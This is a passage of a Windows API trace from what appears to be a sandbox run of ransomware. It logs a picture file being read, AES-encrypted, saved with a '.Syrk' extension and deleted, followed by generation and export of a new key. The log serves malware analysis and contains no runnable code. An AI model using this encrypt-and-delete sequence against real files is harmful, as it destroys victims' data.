lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif.Syrk", lpFilePart=0x0) returned 0x2a [0255.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0255.433] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0255.434] GetFileType (hFile=0x368) returned 0x1 [0255.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0255.434] GetFileType (hFile=0x368) returned 0x1 [0255.434] EtwEventActivityIdControl () returned 0x0 [0255.434] CryptGenRandom (in: hProv=0x5c4cdd0, dwLen=0x10, pbBuffer=0x24b3688 | out: pbBuffer=0x24b3688) returned 1 [0255.435] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.435] CryptDuplicateKey (in: hKey=0x5c99520, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99b60) returned 1 [0255.435] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.435] CryptSetKeyParam (hKey=0x5c99b60, dwParam=0x4, pbData=0x24b49c0*=0x1, dwFlags=0x0) returned 1 [0255.435] CryptSetKeyParam (hKey=0x5c99b60, dwParam=0x1, pbData=0x24b498c, dwFlags=0x0) returned 1 [0255.436] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.436] EtwEventActivityIdControl () returned 0x0 [0255.436] EtwEventActivityIdControl () returned 0x0 [0255.436] EtwEventActivityIdControl () returned 0x0 [0255.437] EtwEventActivityIdControl () returned 0x0 [0255.437] ReadFile (in: hFile=0x364, lpBuffer=0x24b75fc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24b75fc*, lpNumberOfBytesRead=0x5a2e7d8*=0xf8db, lpOverlapped=0x0) returned 1 [0255.439] CryptEncrypt (in: hKey=0x5c99b60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24cb614*, pdwDataLen=0x5a2e7cc*=0xf8d0, dwBufLen=0xf8d0 | out: pbData=0x24cb614*, pdwDataLen=0x5a2e7cc*=0xf8d0) returned 1 [0255.440] WriteFile (in: hFile=0x368, lpBuffer=0x24b3770*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24b3770*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0255.441] WriteFile (in: hFile=0x368, lpBuffer=0x24cc600*, nNumberOfBytesToWrite=0xe8e4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24cc600*, lpNumberOfBytesWritten=0x5a2e7b0*=0xe8e4, lpOverlapped=0x0) returned 1 [0255.443] ReadFile (in: hFile=0x364, lpBuffer=0x24b75fc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24b75fc*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0255.443] CryptEncrypt (in: hKey=0x5c99b60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24daef0*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24daef0*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0255.443] CryptEncrypt (in: hKey=0x5c99b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24daf0c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24daf0c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0255.443] WriteFile (in: hFile=0x368, lpBuffer=0x24b3770*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24b3770*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0255.443] CloseHandle (hObject=0x368) returned 1 [0255.445] CloseHandle (hObject=0x364) returned 1 [0255.446] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.446] EtwEventActivityIdControl () returned 0x0 [0255.446] EtwEventActivityIdControl () returned 0x0 [0255.446] EtwEventActivityIdControl () returned 0x0 [0255.451] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif")) returned 0x20 [0255.453] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0255.453] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", lpFilePart=0x0) returned 0x25 [0255.454] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0255.454] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0255.454] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0255.454] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0255.454] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0255.454] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0255.454] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0255.454] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0255.454] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0255.454] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0255.455] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0255.455] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0255.455] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0255.455] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0255.455] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0255.457] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0255.457] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif")) returned 0x20 [0255.457] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0255.457] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", lpFilePart=0x0) returned 0x25 [0255.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0255.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", lpFilePart=0x0) returned 0x25 [0255.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0255.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0255.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", lpFilePart=0x0) returned 0x25 [0255.460] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0255.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0255.460] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0255.460] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0255.460] CoTaskMemFree (pv=0x3b0008) [0255.462] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif")) returned 0x20 [0255.462] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0255.462] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", lpFilePart=0x0) returned 0x25 [0255.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0255.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif"), fInfoLevelId=0x0, lpFileInformation=0x24e573c | out: lpFileInformation=0x24e573c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a4df6a0, ftCreationTime.dwHighDateTime=0x1d997aa, ftLastAccessTime.dwLowDateTime=0x6fccf940, ftLastAccessTime.dwHighDateTime=0x1d99d57, ftLastWriteTime.dwLowDateTime=0x6fccf940, ftLastWriteTime.dwHighDateTime=0x1d99d57, nFileSizeHigh=0x0, nFileSizeLow=0xf8db)) returned 1 [0255.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0255.463] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif")) returned 1 [0255.465] EtwEventActivityIdControl () returned 0x0 [0255.466] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.466] EtwEventActivityIdControl () returned 0x0 [0255.466] EtwEventActivityIdControl () returned 0x0 [0255.466] EtwEventActivityIdControl () returned 0x0 [0255.474] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif.syrk")) returned 0x20 [0255.476] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif.syrk")) returned 0x20 [0255.476] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0255.476] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif.Syrk", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif.Syrk", lpFilePart=0x0) returned 0x2a [0255.476] EtwEventActivityIdControl () returned 0x0 [0255.476] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.477] EtwEventActivityIdControl () returned 0x0 [0255.477] EtwEventActivityIdControl () returned 0x0 [0255.477] EtwEventActivityIdControl () returned 0x0 [0255.482] EtwEventActivityIdControl () returned 0x0 [0255.482] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.483] EtwEventActivityIdControl () returned 0x0 [0255.483] EtwEventActivityIdControl () returned 0x0 [0255.483] EtwEventActivityIdControl () returned 0x0 [0255.488] EtwEventActivityIdControl () returned 0x0 [0255.488] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.489] EtwEventActivityIdControl () returned 0x0 [0255.489] EtwEventActivityIdControl () returned 0x0 [0255.489] EtwEventActivityIdControl () returned 0x0 [0255.493] EtwEventActivityIdControl () returned 0x0 [0255.494] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.494] EtwEventActivityIdControl () returned 0x0 [0255.494] EtwEventActivityIdControl () returned 0x0 [0255.494] EtwEventActivityIdControl () returned 0x0 [0255.499] EtwEventActivityIdControl () returned 0x0 [0255.499] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.499] EtwEventActivityIdControl () returned 0x0 [0255.499] EtwEventActivityIdControl () returned 0x0 [0255.499] EtwEventActivityIdControl () returned 0x0 [0255.504] EtwEventActivityIdControl () returned 0x0 [0255.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0255.508] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24ee7b8 | out: lpFileInformation=0x24ee7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d64bb0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x13d64bb0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x13d8ad10, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xf8f4)) returned 1 [0255.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0255.509] GetConsoleOutputCP () returned 0x1b5 [0255.509] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.509] GetConsoleOutputCP () returned 0x1b5 [0255.510] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.510] GetConsoleOutputCP () returned 0x1b5 [0255.510] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.510] GetConsoleOutputCP () returned 0x1b5 [0255.510] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.511] GetConsoleOutputCP () returned 0x1b5 [0255.511] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.511] GetConsoleOutputCP () returned 0x1b5 [0255.511] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.511] GetConsoleOutputCP () returned 0x1b5 [0255.511] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.511] GetConsoleOutputCP () returned 0x1b5 [0255.512] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.512] GetConsoleOutputCP () returned 0x1b5 [0255.512] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.512] GetConsoleOutputCP () returned 0x1b5 [0255.512] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.512] GetConsoleOutputCP () returned 0x1b5 [0255.512] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.512] GetConsoleOutputCP () returned 0x1b5 [0255.513] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.513] GetConsoleOutputCP () returned 0x1b5 [0255.513] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.513] GetConsoleOutputCP () returned 0x1b5 [0255.513] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.513] GetConsoleOutputCP () returned 0x1b5 [0255.513] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.513] GetConsoleOutputCP () returned 0x1b5 [0255.514] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.514] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0255.514] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.515] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x250837c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x250837c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0255.515] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.515] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0255.516] EtwEventActivityIdControl () returned 0x0 [0255.516] EtwEventActivityIdControl () returned 0x0 [0255.517] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.517] EtwEventActivityIdControl () returned 0x0 [0255.517] EtwEventActivityIdControl () returned 0x0 [0255.517] EtwEventActivityIdControl () returned 0x0 [0255.521] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.521] EtwEventActivityIdControl () returned 0x0 [0255.521] EtwEventActivityIdControl () returned 0x0 [0255.521] EtwEventActivityIdControl () returned 0x0 [0255.524] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d100) returned 1 [0255.525] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99920) returned 1 [0255.525] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.525] CryptExportKey (in: hKey=0x5c99920, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.525] CryptExportKey (in: hKey=0x5c99920, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x250fd54, pdwDataLen=0x5a2e8c4 | out: pbData=0x250fd54*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.525] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.526] EtwEventActivityIdControl () returned 0x0 [0255.526] EtwEventActivityIdControl () returned 0x0 [0255.526] EtwEventActivityIdControl () returned 0x0 [0255.527] SysStringLen (param_1="") returned 0x8 [0255.527] SysStringLen (param_1="g") returned 0x8 [0255.527] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.527] SysStringLen (param_1="풎㏲楣឴र鶪籕ἡ") returned 0x8 [0255.527] SysStringLen (param_1="풎㏲楣឴र鶪籕ἡ") returned 0x8 [0255.527] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.527] SysStringLen (param_1="gx") returned 0x8 [0255.528] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.528] SysStringLen (param_1="苹໶雎‱뇠ﵚ䊅큡") returned 0x8 [0255.528] SysStringLen (param_1="苹໶雎‱뇠ﵚ䊅큡") returned 0x8 [0255.528] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.528] SysStringLen (param_1="gxt") returned 0x8 [0255.528] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.528] SysStringLen (param_1="焊栈὆翆쩦媩▌") returned 0x8 [0255.528] SysStringLen (param_1="焊栈὆翆쩦媩▌") returned 0x8 [0255.528] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.528] SysStringLen (param_1="gxtO") returned 0x8 [0255.528] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.529] SysStringLen (param_1="立蘚℠⏍╭录⧍") returned 0x8 [0255.529] SysStringLen (param_1="立蘚℠⏍╭录⧍") returned 0x8 [0255.529] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.529] SysStringLen (param_1="gxtOm") returned 0x8 [0255.529] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.529] SysStringLen (param_1="臭牶ꖼ熙卪䎾䟞") returned 0x8 [0255.529] SysStringLen (param_1="臭牶ꖼ熙卪䎾䟞") returned 0x8 [0255.529] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.529] SysStringLen (param_1="gxtOmE") returned 0x8 [0255.529] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.530] SysStringLen (param_1="錀ޝ胢角̏ឹ⊆粥") returned 0x8 [0255.530] SysStringLen (param_1="錀ޝ胢角̏ឹ⊆粥") returned 0x8 [0255.530] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.530] SysStringLen (param_1="gxtOmET") returned 0x8 [0255.530] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.530] SysStringLen (param_1="\x08䰄\훘톴\") returned 0x8 [0255.530] SysStringLen (param_1="\x08䰄\훘톴\") returned 0x8 [0255.530] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.530] SysStringLen (param_1="gxtOmETp") returned 0x8 [0255.530] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.530] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ∷) returned 0x8 [0255.531] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ∷) returned 0x8 [0255.531] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ∷) returned 0x8 [0255.531] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ∷) returned 0x10 [0255.531] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.532] SysStringLen (param_1="gxtOmETpr㨕௖ꝇ讴澽犃晴") returned 0x10 [0255.532] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.532] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ㝝Ἄﴬ镽䛁❠∂) returned 0x10 [0255.532] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ㝝Ἄﴬ镽䛁❠∂) returned 0x10 [0255.532] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.532] SysStringLen (param_1="gxtOmETprS௖ꝇ讴澽犃晴") returned 0x10 [0255.532] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.532] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ섷░ﯾ▏嬬땏숊䘈⋄) returned 0x10 [0255.532] SysStringLen 